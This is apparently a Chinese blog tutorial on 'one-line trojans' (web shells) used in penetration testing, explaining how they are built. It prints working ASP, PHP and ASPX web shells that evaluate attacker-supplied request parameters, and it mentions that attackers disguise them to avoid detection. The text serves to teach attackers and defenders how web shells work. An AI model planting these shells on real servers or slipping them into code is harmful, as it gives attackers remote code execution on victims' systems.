~~~~~~~~ 因为想要面对一个新的开始,一个人必须有梦想、有希望、有对未来的憧憬。如果没有这些,就不叫新的开始,而叫逃亡。
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ————玛丽亚·杜埃尼亚斯
前言
在我们进行渗透测试的最后阶段,入侵到内网里,无论是想要浏览网站结构,还是抓取数据库,或者是挂个木马等等,到最后最常用的就是执行一句话木马,从客户端轻松连接服务器。
一句话木马的原理相对简单,对于黑客来说,其难点在于不断的构造变形,去隐蔽木马特征;而对于白帽来说就是怎样更新过滤掉这些木马。
原理简述
对于不同的语言有不同的构造方法,框架如下:
基本构造:脚本开始的标记
核心部分:获取并执行得到的内容,通常类似eval、execute等
被执行的内容:一般是http等协议接受的值,通常类似request、$_POST等
我们通过客户端向服务器发送被执行的内容,那么就会让服务器执行我们发送的脚本,这样挂马就实现了。
比如常见的一句话木马
/*asp一句话木马*/
<%execute(request("value"))%>
#excute就是执行命令的函数,value就是接收的数据
/*php一句话木马*/
<?php @eval($_POST[value]);?>
#eval就是执行命令的函数,value就是接收的数据
/*aspx一句话木马*/
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
攻击者的目的就是想尽办法在目标网站上插入这么一段会被存储起来的语句,可以是一个单独的脚本文件(asp、php、aspx),或者是隐藏在某些网页下的文件、代码等。其中的value就是客户端要发送的内容,然后通过客户端与服务器建立连接,发送控制脚本。其中执行命令的函数就会将这些传递的控制脚本当代码来执行,这就是一句话木马的强大之处。